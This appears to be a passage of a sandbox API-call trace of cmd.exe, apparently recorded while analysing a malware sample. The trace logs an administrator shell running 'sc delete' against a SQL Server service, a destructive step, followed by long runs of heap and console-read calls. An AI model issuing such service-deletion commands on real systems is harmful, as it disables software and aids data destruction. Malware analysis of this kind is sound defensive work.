_String2="PROCESS", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.214] GetProcessHeap () returned 0x4a0000 [0072.214] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.214] GetProcessHeap () returned 0x4a0000 [0072.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.214] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"msftesql$SQLEXPRESS\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"msftesql$SQLEXPRESS\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"msftesql$SQLEXPRESS\"", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x57c, dwThreadId=0x488)) returned 1 [0072.218] CloseHandle (hObject=0x50) returned 1 [0072.218] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.218] GetProcessHeap () returned 0x4a0000 [0072.218] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.218] GetEnvironmentStringsW () returned 0x4c1b10* [0072.218] GetProcessHeap () returned 0x4a0000 [0072.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0072.218] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.218] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.218] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdc000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.218] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.262] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.262] CloseHandle (hObject=0x54) returned 1 [0072.262] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.262] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.262] GetProcessHeap () returned 0x4a0000 [0072.262] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0072.262] GetEnvironmentStringsW () returned 0x4c1b10* [0072.262] GetProcessHeap () returned 0x4a0000 [0072.262] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0072.262] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.262] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.262] GetProcessHeap () returned 0x4a0000 [0072.262] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0072.262] GetEnvironmentStringsW () returned 0x4c1b10* [0072.262] GetProcessHeap () returned 0x4a0000 [0072.262] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0072.262] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.262] GetProcessHeap () returned 0x4a0000 [0072.262] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.262] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.262] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.263] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.263] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.263] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.263] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.263] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.263] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.263] GetConsoleOutputCP () returned 0x1b5 [0072.263] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.263] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.264] GetProcessHeap () returned 0x4a0000 [0072.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.264] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.264] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.264] GetFileType (hFile=0x120) returned 0x3 [0072.264] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.264] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.264] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.264] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.264] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.264] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.265] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.265] GetFileType (hFile=0x120) returned 0x3 [0072.265] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.265] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.265] GetFileType (hFile=0xb8) returned 0x3 [0072.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.265] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="psftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="oftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="stesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="tesql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="gsql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="rql$SQLEXPRESS\"\nA\"\n") returned 1 [0072.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="el$SQLEXPRESS\"\nA\"\n") returned 1 [0072.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="s$SQLEXPRESS\"\nA\"\n") returned 1 [0072.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="qSQLEXPRESS\"\nA\"\n") returned 1 [0072.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="lQLEXPRESS\"\nA\"\n") returned 1 [0072.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="-LEXPRESS\"\nA\"\n") returned 1 [0072.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.268] ReadFile (in: hFile=0xb8, 